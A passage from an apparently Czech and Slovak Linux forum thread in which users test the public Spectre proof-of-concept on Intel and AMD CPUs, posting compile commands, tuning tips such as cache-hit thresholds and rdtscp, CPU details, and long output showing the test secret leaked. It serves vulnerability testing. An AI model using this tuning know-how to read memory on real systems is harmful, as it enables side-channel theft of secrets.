Reading at malicious_x = 0xffffffffffdfeb7e... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
Reading at malicious_x = 0xffffffffffdfeb7f... Success: 0xB4=’e’ score=9 (second best: 0xA9 score=2)
Reading at malicious_x = 0xffffffffffdfeb80... Success: 0xB4=’e’ score=15 (second best: 0x0D score=5)
Reading at malicious_x = 0xffffffffffdfeb81... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
Reading at malicious_x = 0xffffffffffdfeb82... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
Reading at malicious_x = 0xffffffffffdfeb83... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
Reading at malicious_x = 0xffffffffffdfeb84... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
Reading at malicious_x = 0xffffffffffdfeb85... Success: 0xB4=’e’ score=9 (second best: 0xC7 score=2)
Reading at malicious_x = 0xffffffffffdfeb86... Success: 0xB4=’e’ score=9 (second best: 0xF6 score=2)
Reading at malicious_x = 0xffffffffffdfeb87... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
Reading at malicious_x = 0xffffffffffdfeb88... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
Reading at malicious_x = 0xffffffffffdfeb89... Success: 0xB4=’e’ score=15 (second best: 0x0D score=5)
Reading at malicious_x = 0xffffffffffdfeb8a... Success: 0xB4=’e’ score=7 (second best: 0xAF score=1)
Reading at malicious_x = 0xffffffffffdfeb8b... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
Reading at malicious_x = 0xffffffffffdfeb8c... Success: 0xB4=’e’ score=7 (second best: 0xAF score=1)
Reading at malicious_x = 0xffffffffffdfeb8d... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
Reading at malicious_x = 0xffffffffffdfeb8e... Success: 0xB4=’e’ score=29 (second best: 0x0D score=12)
Reading at malicious_x = 0xffffffffffdfeb8f... Success: 0xB4=’e’ score=9 (second best: 0xD5 score=2)
4.1. 22:34 HP Fan
Rozbalit Rozbalit vše Re: Spectre na AMD
Skusil som https://repl.it/repls/DeliriousGreenOxpecker a tu je vysledok:
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdfebb9... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfebba... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebbb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebbc... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdfebbd... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebbe... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfebbf... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfebc0... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdfebc1... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebc2... Success: 0x57=’W’ score=2 
Reading at malicious_x = 0xffffffffffdfebc3... Success: 0x6F=’o’ score=2 
Reading at malicious_x = 0xffffffffffdfebc4... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfebc5... Success: 0x64=’d’ score=2 
Reading at malicious_x = 0xffffffffffdfebc6... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebc7... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebc8... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebc9... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfebca... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebcb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebcc... Success: 0x53=’S’ score=2 
Reading at malicious_x = 0xffffffffffdfebcd... Success: 0x71=’q’ score=2 
Reading at malicious_x = 0xffffffffffdfebce... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdfebcf... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebd0... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebd1... Success: 0x6D=’m’ score=2 
Reading at malicious_x = 0xffffffffffdfebd2... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfebd3... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebd4... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfebd5... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebd6... Unclear: 0x4F=’O’ score=924 (second best: 0xD7 score=904)
Reading at malicious_x = 0xffffffffffdfebd7... Unclear: 0x73=’s’ score=933 (second best: 0x4D score=907)
Reading at malicious_x = 0xffffffffffdfebd8... Unclear: 0x73=’s’ score=936 (second best: 0x1F score=901)
Reading at malicious_x = 0xffffffffffdfebd9... Unclear: 0xC4=’?’ score=907 (second best: 0xBF score=903)
Reading at malicious_x = 0xffffffffffdfebda... Unclear: 0x66=’f’ score=924 (second best: 0x1B score=908)
Reading at malicious_x = 0xffffffffffdfebdb... Unclear: 0x72=’r’ score=917 (second best: 0x71 score=906)
Reading at malicious_x = 0xffffffffffdfebdc... Unclear: 0x61=’a’ score=945 (second best: 0xA2 score=907)
Reading at malicious_x = 0xffffffffffdfebdd... Unclear: 0x67=’g’ score=930 (second best: 0x7D score=913)
Reading at malicious_x = 0xffffffffffdfebde... Unclear: 0x65=’e’ score=911 (second best: 0x7D score=908)
Reading at malicious_x = 0xffffffffffdfebdf... Unclear: 0x2E=’.’ score=928 (second best: 0xE4 score=909)
4.1. 22:38 HP Fan
Rozbalit Rozbalit vše Re: Spectre na AMD
s #define CACHE_HIT_THRESHOLD 80
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdfebb9... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfebba... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebbb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebbc... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdfebbd... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebbe... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfebbf... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfebc0... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdfebc1... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebc2... Success: 0x57=’W’ score=2 
Reading at malicious_x = 0xffffffffffdfebc3... Success: 0x6F=’o’ score=2 
Reading at malicious_x = 0xffffffffffdfebc4... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfebc5... Success: 0x64=’d’ score=2 
Reading at malicious_x = 0xffffffffffdfebc6... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebc7... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebc8... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebc9... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfebca... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebcb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebcc... Success: 0x53=’S’ score=2 
Reading at malicious_x = 0xffffffffffdfebcd... Success: 0x71=’q’ score=2 
Reading at malicious_x = 0xffffffffffdfebce... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdfebcf... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebd0... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebd1... Success: 0x6D=’m’ score=2 
Reading at malicious_x = 0xffffffffffdfebd2... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfebd3... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebd4... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfebd5... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebd6... Success: 0x4F=’O’ score=2 
Reading at malicious_x = 0xffffffffffdfebd7... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebd8... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebd9... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfebda... Success: 0x66=’f’ score=2 
Reading at malicious_x = 0xffffffffffdfebdb... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfebdc... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebdd... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfebde... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebdf... Success: 0x2E=’.’ score=2 

4.1. 22:34 majales | skóre: 23 | blog: Majales
Rozbalit Rozbalit vše Re: Spectre na AMD
Na pentiu 4 se mi nepovedlo zkompilovat:
gcc -march=native -std=c99 -O0 spectre.c -o spectre
spectre.c: In function ‘readMemoryByte’:
spectre.c:89: warning: implicit declaration of function ‘__rdtsc’
spectre.c: In function ‘main’:
spectre.c:136: warning: pointer/integer type mismatch in conditional expression
/tmp/ccUxr4mh.o: In function `readMemoryByte':
spectre.c:(.text+0x17a): undefined reference to `__rdtsc'
spectre.c:(.text+0x192): undefined reference to `__rdtsc'
collect2: ld returned 1 exit status
Ještě to zítra můžu vyzkoušet na Ryzen 5 1600.
4.1. 23:08 R
Rozbalit Rozbalit vše Re: Spectre na AMD
Aku mas verziu gcc? Mne to s gcc 6.3 skompilovat ide, ale na P4 to nefunguje, precita to vzdy 0xff.
4.1. 23:21 majales | skóre: 23 | blog: Majales
Rozbalit Rozbalit vše Re: Spectre na AMD
gcc --version gcc (Debian 4.4.5-8) 4.4.5
5.1. 03:45 pc2005 | skóre: 37 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Spectre na AMD
Na T7600 (první generace mobilního core2) jednak nejede rdtscp a jednak musím v mém kompilátoru přidat volbu -m32, pak funguje i volba -march=pentium4 . Volba -march=core2 ani -march=native nenajde skoro nic (občas je semtam hit, ale to může být random šum).
gcc -m32 -march=pentium4 -O0 z48.c -o spectre
# cat /proc/cpuinfo 
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 15
model name	: Intel(R) Core(TM)2 CPU         T7600  @ 2.33GHz
stepping	: 6
cpu MHz		: 2324.000
cache size	: 4096 KB
physical id	: 0
siblings	: 2
core id		: 0
cpu cores	: 2
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 10
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl cpuid aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm tpr_shadow dtherm
bugs		:
bogomips	: 4666.77
clflush size	: 64
cache_alignment	: 64
address sizes	: 36 bits physical, 48 bits virtual
power management:

processor	: 1
vendor_id	: GenuineIntel
cpu family	: 6
model		: 15
model name	: Intel(R) Core(TM)2 CPU         T7600  @ 2.33GHz
stepping	: 6
cpu MHz		: 2324.000
cache size	: 4096 KB
physical id	: 0
siblings	: 2
core id		: 1
cpu cores	: 2
apicid		: 1
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 10
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl cpuid aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm tpr_shadow dtherm
bugs		:
bogomips	: 4665.96
clflush size	: 64
cache_alignment	: 64
address sizes	: 36 bits physical, 48 bits virtual
power management:
By mě zajímalo zda to, že to pro 32bit kód v prostředí 64bit funguje a pro 64bit kód v 64bit prostředí nefunguje, je jiným zpracováním cache pro 32bit, nebo protože je ten kód prostě jen pro 32bit.

Zkuste někdo, kdo má SMT porovnat rozdíl s a bez běžícího SMT. Při SMT trvá jedno vlákno déle, protože víc vláken soutěží o stejný počet prostředků. Pak bude buď delší doba než se dojde ke konci spekulativní větve (lehčí timing) a nebo bude spekulativní větev zkrácená, protože víc vláken (třeba kvůli TDP) a timing bude horší.

5.1. 03:46 pc2005 | skóre: 37 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Spectre na AMD
Jo a to "c" by mělo být 'c', protože to je char a ne string.
5.1. 09:23 majales | skóre: 23 | blog: Majales
Rozbalit Rozbalit vše Re: Spectre na AMD
Na AMD Ryzen 5 1600

Linux RYZEN-01 4.13.0-16-generic #19-Ubuntu SMP Wed Oct 11 18:35:14 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
nikdo@RYZEN-01:~$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfedf8... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfedf9... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfedfa... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfedfb... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfedfc... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfedfd... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfedfe... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfedff... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee00... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfee01... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee02... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfee03... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdfee04... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee05... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfee06... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee07... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee08... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee09... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee0a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee0b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee0c... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdfee0d... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfee0e... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdfee0f... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee10... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee11... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdfee12... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee13... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee14... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfee15... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee16... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdfee17... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee18... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee19... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee1a... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdfee1b... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee1c... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee1d... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfee1e... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee1f... Success: 0x2E=’.’ score=2
5.1. 11:05 pc2005 | skóre: 37 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Spectre na AMD
Ve virtualboxu na T7400 (to samý jako můj T7600 výše) se to na systemrescueCD "povede" taky. Chtěl jsem ještě z legrace zkusit QEMU, ale ještě nenabootoval :-D.
5.1. 11:09 MadCatX
Rozbalit Rozbalit vše Re: Spectre na AMD
i7-2820QM, Linux The-Raza 4.14.11-1-ARCH #1 SMP PREEMPT Funguje out of the box:)
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfedc8... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdfedc9... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfedca... Unclear: 0x65=’e’ score=999 (second best: 0x30 score=954)
Reading at malicious_x = 0xffffffffffdfedcb... Unclear: 0x20=’ ’ score=999 (second best: 0xF3 score=966)
Reading at malicious_x = 0xffffffffffdfedcc... Unclear: 0x4D=’M’ score=998 (second best: 0x95 score=959)
Reading at malicious_x = 0xffffffffffdfedcd... Unclear: 0x61=’a’ score=999 (second best: 0x36 score=965)
Reading at malicious_x = 0xffffffffffdfedce... Unclear: 0x67=’g’ score=999 (second best: 0x00 score=963)
Reading at malicious_x = 0xffffffffffdfedcf... Unclear: 0x69=’i’ score=999 (second best: 0x00 score=918)
Reading at malicious_x = 0xffffffffffdfedd0... Unclear: 0x63=’c’ score=999 (second best: 0x00 score=941)
Reading at malicious_x = 0xffffffffffdfedd1... Unclear: 0x20=’ ’ score=999 (second best: 0x00 score=945)
Reading at malicious_x = 0xffffffffffdfedd2... Unclear: 0x57=’W’ score=999 (second best: 0xAF score=960)
Reading at malicious_x = 0xffffffffffdfedd3... Unclear: 0x6F=’o’ score=999 (second best: 0xAF score=966)
Reading at malicious_x = 0xffffffffffdfedd4... Unclear: 0x72=’r’ score=999 (second best: 0xB4 score=960)
Reading at malicious_x = 0xffffffffffdfedd5... Unclear: 0x64=’d’ score=999 (second best: 0x00 score=967)
Reading at malicious_x = 0xffffffffffdfedd6... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=960)
Reading at malicious_x = 0xffffffffffdfedd7... Unclear: 0x20=’ ’ score=999 (second best: 0xF3 score=961)
Reading at malicious_x = 0xffffffffffdfedd8... Unclear: 0x61=’a’ score=999 (second best: 0xFD score=961)
Reading at malicious_x = 0xffffffffffdfedd9... Unclear: 0x72=’r’ score=999 (second best: 0x00 score=963)
Reading at malicious_x = 0xffffffffffdfedda... Unclear: 0x65=’e’ score=999 (second best: 0xAB score=956)
Reading at malicious_x = 0xffffffffffdfeddb... Unclear: 0x20=’ ’ score=999 (second best: 0x00 score=929)
Reading at malicious_x = 0xffffffffffdfeddc... Unclear: 0x53=’S’ score=999 (second best: 0xB4 score=947)
Reading at malicious_x = 0xffffffffffdfeddd... Unclear: 0x71=’q’ score=999 (second best: 0xA8 score=964)
Reading at malicious_x = 0xffffffffffdfedde... Unclear: 0x75=’u’ score=999 (second best: 0x55 score=968)
Reading at malicious_x = 0xffffffffffdfeddf... Unclear: 0x65=’e’ score=999 (second best: 0xF0 score=964)
Reading at malicious_x = 0xffffffffffdfede0... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=974)
Reading at malicious_x = 0xffffffffffdfede1... Unclear: 0x6D=’m’ score=999 (second best: 0x9B score=962)
Reading at malicious_x = 0xffffffffffdfede2... Unclear: 0x69=’i’ score=999 (second best: 0x00 score=961)
Reading at malicious_x = 0xffffffffffdfede3... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=963)
Reading at malicious_x = 0xffffffffffdfede4... Unclear: 0x68=’h’ score=999 (second best: 0x00 score=961)
Reading at malicious_x = 0xffffffffffdfede5... Unclear: 0x20=’ ’ score=999 (second best: 0xEF score=958)
Reading at malicious_x = 0xffffffffffdfede6... Unclear: 0x4F=’O’ score=999 (second best: 0x21 score=962)
Reading at malicious_x = 0xffffffffffdfede7... Unclear: 0x73=’s’ score=999 (second best: 0xF3 score=963)
Reading at malicious_x = 0xffffffffffdfede8... Unclear: 0x73=’s’ score=999 (second best: 0xF4 score=967)
Reading at malicious_x = 0xffffffffffdfede9... Unclear: 0x69=’i’ score=999 (second best: 0x55 score=959)
Reading at malicious_x = 0xffffffffffdfedea... Unclear: 0x66=’f’ score=998 (second best: 0xF4 score=965)
Reading at malicious_x = 0xffffffffffdfedeb... Unclear: 0x72=’r’ score=998 (second best: 0xF5 score=968)
Reading at malicious_x = 0xffffffffffdfedec... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=952)
Reading at malicious_x = 0xffffffffffdfeded... Unclear: 0x67=’g’ score=999 (second best: 0x3E score=962)
Reading at malicious_x = 0xffffffffffdfedee... Unclear: 0x65=’e’ score=999 (second best: 0x96 score=967)
Reading at malicious_x = 0xffffffffffdfedef... Unclear: 0x2E=’.’ score=999 (second best: 0x00 score=966)
5.1. 13:17 R
Rozbalit Rozbalit vše Re: Spectre na AMD
Na Athlone 64 3000+ to funguje bezchybne s rdtscp a thresholdom 80.
5.1. 22:32 pc2005 | skóre: 37 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Spectre na AMD
A bezchybně znamená, že to ten string najde (chyba HW/SW) nebo nenajde (HW/SW je OK)? :-D
5.1. 16:17 goldenfish | skóre: 38 | blog: aqarium | Praha
Rozbalit Rozbalit vše Re: Spectre na AMD
Na AMD 1950X projde taky.

gf
5.1. 16:33 PavelM
Rozbalit Rozbalit vše Re: Spectre na AMD
processor	: 3
vendor_id	: GenuineIntel
cpu family	: 6
model		: 37
model name	: Intel(R) Core(TM) i7 CPU       M 620  @ 2.67GHz
stepping	: 5
microcode	: 0x4
cpu MHz		: 2667.000
cache size	: 4096 KB
physical id	: 0
siblings	: 4
core id		: 2
cpu cores	: 2
apicid		: 5
initial apicid	: 5
fpu		: yes
fpu_exception	: yes
cpuid level	: 11
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 popcnt aes lahf_lm tpr_shadow vnmi flexpriority ept vpid dtherm ida arat
bugs		:
bogomips	: 5319.92
clflush size	: 64
cache_alignment	: 64
address sizes	: 36 bits physical, 48 bits virtual
power management:

$ ./spectre2
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdfebb9... Success: 0x68=’h’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebba... Success: 0x65=’e’ score=7 (second best: 0xDE score=1)
Reading at malicious_x = 0xffffffffffdfebbb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebbc... Success: 0x4D=’M’ score=4 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebbd... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebbe... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfebbf... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfebc0... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdfebc1... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebc2... Success: 0x57=’W’ score=2 
Reading at malicious_x = 0xffffffffffdfebc3... Success: 0x6F=’o’ score=2 
Reading at malicious_x = 0xffffffffffdfebc4... Success: 0x72=’r’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebc5... Success: 0x64=’d’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebc6... Success: 0x73=’s’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebc7... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebc8... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebc9... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfebca... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebcb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebcc... Success: 0x53=’S’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebcd... Success: 0x71=’q’ score=2 
Reading at malicious_x = 0xffffffffffdfebce... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdfebcf... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebd0... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebd1... Success: 0x6D=’m’ score=9 (second best: 0x05 score=2)
Reading at malicious_x = 0xffffffffffdfebd2... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfebd3... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebd4... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfebd5... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebd6... Success: 0x4F=’O’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebd7... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebd8... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebd9... Success: 0x69=’i’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebda... Success: 0x66=’f’ score=2 
Reading at malicious_x = 0xffffffffffdfebdb... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfebdc... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebdd... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfebde... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebdf... Success: 0x2E=’.’ score=2 
5.1. 23:20 trekker.dk | skóre: 71
Rozbalit Rozbalit vše Re: Spectre na AMD
processor       : 0
vendor_id       : AuthenticAMD
cpu family      : 21
model           : 2
model name      : AMD FX(tm)-6300 Six-Core Processor
stepping        : 0
microcode       : 0x600084f
cpu MHz         : 1400.000
gcc -march=bdver2 -std=c99 -O0 spectre.c -o spectre

S patchem v #8 mi to vypisuje eeeeeeeeee...
Quando omni flunkus moritati
6.1. 12:45 MadCatX
Rozbalit Rozbalit vše Re: Spectre na AMD
Pro úplnost další výsledky: i3-2120T, Linux ect228-srv.prfuk.natur.cuni.cz 3.10.0-693.11.6.el7.x86_64 #1 SMP Thu Jan 4 01:06:37 UTC 2018
Reading at malicious_x = 0xffffffffffdffac0... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdffac1... Success: 0x68=’h’ score=7 (second best: 0xAF score=1)
Reading at malicious_x = 0xffffffffffdffac2... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdffac3... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffac4... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdffac5... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffac6... Success: 0x67=’g’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffac7... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdffac8... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdffac9... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffaca... Success: 0x57=’W’ score=2 
Reading at malicious_x = 0xffffffffffdffacb... Success: 0x6F=’o’ score=33 (second best: 0x05 score=14)
Reading at malicious_x = 0xffffffffffdffacc... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdffacd... Success: 0x64=’d’ score=2 
Reading at malicious_x = 0xffffffffffdfface... Success: 0x73=’s’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffacf... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffad0... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffad1... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdffad2... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdffad3... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffad4... Success: 0x53=’S’ score=2 
Reading at malicious_x = 0xffffffffffdffad5... Success: 0x71=’q’ score=2 
Reading at malicious_x = 0xffffffffffdffad6... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdffad7... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdffad8... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffad9... Success: 0x6D=’m’ score=2 
Reading at malicious_x = 0xffffffffffdffada... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdffadb... Success: 0x73=’s’ score=2 
